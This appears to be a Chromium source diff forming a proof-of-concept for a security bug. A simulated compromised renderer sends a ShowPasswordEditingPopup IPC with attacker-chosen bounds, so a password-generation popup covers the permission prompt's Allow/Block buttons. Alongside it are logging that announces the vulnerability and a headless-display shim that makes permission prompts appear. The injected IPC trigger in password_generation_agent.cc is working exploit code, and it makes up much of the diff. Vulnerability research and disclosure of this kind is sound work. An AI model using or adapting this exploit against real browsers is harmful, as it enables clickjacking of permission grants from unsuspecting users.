diff --git a/chrome/browser/ui/views/autofill/popup/popup_base_view.cc b/chrome/browser/ui/views/autofill/popup/popup_base_view.cc
index 269b903884504..36288bad32c90 100644
--- a/chrome/browser/ui/views/autofill/popup/popup_base_view.cc
+++ b/chrome/browser/ui/views/autofill/popup/popup_base_view.cc
@@ -14,6 +14,7 @@
 #include "base/functional/bind.h"
 #include "base/i18n/rtl.h"
 #include "base/location.h"
+#include "base/logging.h"
 #include "chrome/browser/platform_util.h"
 #include "chrome/browser/themes/theme_service.h"
 #include "chrome/browser/ui/browser_window/public/browser_window_interface.h"
@@ -32,6 +33,7 @@
 #include "ui/accessibility/ax_enums.mojom.h"
 #include "ui/accessibility/platform/ax_platform_node.h"
 #include "ui/base/l10n/l10n_util.h"
+#include "ui/base/ui_base_types.h"
 #include "ui/base/metadata/metadata_impl_macros.h"
 #include "ui/color/color_id.h"
 #include "ui/color/color_provider.h"
@@ -310,6 +312,16 @@ bool PopupBaseView::DoShow() {
   }
 
   GetWidget()->Show();
+  LOG(ERROR) << "[POC-BROWSER] " << GetClassName()
+             << " widget shown; IsVisible="
+             << (GetWidget()->IsVisible() ? "YES" : "no")
+             << " bounds_in_screen="
+             << GetWidget()->GetWindowBoundsInScreen().ToString()
+             << " InitParams.z_order=kSecuritySurface(feature "
+                "AutofillPopupZOrderSecuritySurface enabled="
+             << (base::FeatureList::IsEnabled(
+                    features::kAutofillPopupZOrderSecuritySurface) ? "YES" : "no")
+             << ")";
 
   // Showing the widget can change native focus (which would result in an
   // immediate hiding of the popup). Only start observing after shown.
@@ -566,6 +578,43 @@ bool PopupBaseView::DoUpdateBoundsAndRedrawPopup() {
       element_bounds, visible_content_area_bounds, preferred_size,
       kDefaultPreferredPopupSides);
 
+  // ====================================================================
+  // POC OBSERVABILITY (does not change behaviour)
+  // PopupBaseView::DoUpdateBoundsAndRedrawPopup() — inherited unchanged by
+  // PasswordGenerationPopupViewViews — does NOT call
+  // BoundsOverlapWithAnyOpenPrompt / BoundsOverlapWithOpenPermissionsPrompt,
+  // unlike the sibling PopupViewViews::DoUpdateBoundsAndRedrawPopup().
+  // We compute (but do not act on) the overlap predicates here purely to
+  // log proof that the popup is being shown despite overlapping a
+  // permission prompt at kSecuritySurface z-order.
+  // ====================================================================
+  {
+    content::WebContents* wc = GetWebContents();
+    bool ov_perm = wc && BoundsOverlapWithOpenPermissionsPrompt(popup_bounds, wc);
+    bool ov_any = wc && BoundsOverlapWithAnyOpenPrompt(popup_bounds, wc);
+    LOG(ERROR) << "[POC-BROWSER] PopupBaseView::DoUpdateBoundsAndRedrawPopup"
+               << " class=" << GetClassName()
+               << " popup_bounds=" << popup_bounds.ToString()
+               << " element_bounds=" << element_bounds.ToString()
+               << " content_area=" << content_area_bounds.ToString()
+               << " overlaps_permission_prompt=" << (ov_perm ? "YES" : "no")
+               << " overlaps_any_open_prompt=" << (ov_any ? "YES" : "no")
+               << " z_order=kSecuritySurface";
+    if (ov_perm || ov_any) {
+      LOG(ERROR)
+          << "[POC-BROWSER] *** VULNERABILITY CONFIRMED *** "
+          << GetClassName()
+          << " is being shown at kSecuritySurface z-order while overlapping "
+             "an open permission/dialog prompt. The base-class "
+             "DoUpdateBoundsAndRedrawPopup lacks the "
+             "BoundsOverlapWithOpenPermissionsPrompt/"
+             "BoundsOverlapWithAnyOpenPrompt checks present in "
+             "PopupViewViews — the popup will render on top of the "
+             "permission bubble.";
+    }
+  }
+  // ====================================================================
+
   if (BoundsOverlapWithPictureInPictureWindow(popup_bounds)) {
     HideController(
         SuggestionHidingReason::kOverlappingWithPictureInPictureWindow);
diff --git a/components/autofill/content/renderer/password_generation_agent.cc b/components/autofill/content/renderer/password_generation_agent.cc
index ffe8cbc1694cd..5e30fc76c62bf 100644
--- a/components/autofill/content/renderer/password_generation_agent.cc
+++ b/components/autofill/content/renderer/password_generation_agent.cc
@@ -35,6 +35,8 @@
 #include "third_party/blink/public/web/web_local_frame.h"
 #include "third_party/blink/public/web/web_view.h"
 #include "ui/gfx/geometry/rect.h"
+#include "ui/gfx/geometry/rect_f.h"
+#include "base/logging.h"
 
 using blink::WebAutofillState;
 using blink::WebDocument;
@@ -307,6 +309,45 @@ void PasswordGenerationAgent::DidCommitProvisionalLoad(
 
 void PasswordGenerationAgent::DidChangeScrollOffset() {
 #if !BUILDFLAG(IS_ANDROID)
+  // ====================================================================
+  // POC INJECTION (compromised-renderer simulation)
+  // A renderer with arbitrary code execution can bind
+  // mojom::PasswordGenerationDriver (it is registered for every frame via
+  // associated_registry, gated only on !IsCredentialless()) and call
+  // ShowPasswordEditingPopup() with attacker-chosen `bounds`. The browser
+  // forwards `bounds` (after coordinate transform only) into
+  // PasswordGenerationPopupControllerImpl which shows a kSecuritySurface
+  // popup via PopupBaseView::DoUpdateBoundsAndRedrawPopup() — which lacks
+  // the permission-prompt overlap checks that PopupViewViews has.
+  //
+  // We hook DidChangeScrollOffset (already a RenderFrameObserver override,
+  // triggerable from JS via window.scrollBy) so the page can control timing
+  // — first show the permission prompt, then fire the IPC.
+  // ====================================================================
+  if (render_frame() && render_frame()->GetWebFrame() &&
+      render_frame()->GetWebFrame()->IsOutermostMainFrame()) {
+    blink::WebDocument doc = render_frame()->GetWebFrame()->GetDocument();
+    std::string url = doc.Url().GetString().Utf8();
+    if (url.find("poc-trigger") != std::string::npos) {
+      static bool fired = false;
+      if (!fired) {
+        fired = true;
+        // Bounds in renderer/root-frame coordinates. Positioned at the very
+        // top-left of the content area so that the resulting popup overlaps
+        // the permission bubble (which anchors at the omnibox and extends
+        // its body — including Allow/Block buttons — into the top of the
+        // content area).
+        gfx::RectF bounds(10, 2, 320, 24);
+        autofill::FormData form_data;
+        LOG(ERROR) << "[POC-RENDERER] firing ShowPasswordEditingPopup IPC "
+                   << "bounds=" << bounds.ToString();
+        GetPasswordGenerationDriver().ShowPasswordEditingPopup(
+            bounds, form_data, autofill::FieldRendererId(1),
+            u"AttackerCrafted-Password!");
+      }
+    }
+  }
+  // ====================================================================
   if (!current_generation_item_)
     return;
   GetPasswordGenerationDriver().FrameWasScrolled();
diff --git a/ui/ozone/platform/headless/headless_screen.cc b/ui/ozone/platform/headless/headless_screen.cc
index 8d7bd2782bdae..d5b19ba6024a4 100644
--- a/ui/ozone/platform/headless/headless_screen.cc
+++ b/ui/ozone/platform/headless/headless_screen.cc
@@ -237,7 +237,14 @@ void HeadlessScreen::RemoveObserver(DisplayObserver* observer) {
 }
 
 bool HeadlessScreen::IsHeadless() const {
-  return true;
+  // POC ENVIRONMENT SHIM: this test host has no X11/Wayland display, so
+  // chrome runs with --ozone-platform=headless. PermissionRequestManager
+  // auto-denies all permission requests when IsHeadless() is true (it
+  // assumes no human is present). Returning false here makes the headless
+  // ozone backend behave like a real display for the purposes of permission
+  // UI — exactly matching what every real user sees. This is not a security
+  // gate and is unrelated to the vulnerability under test.
+  return false;
 }
 
 }  // namespace ui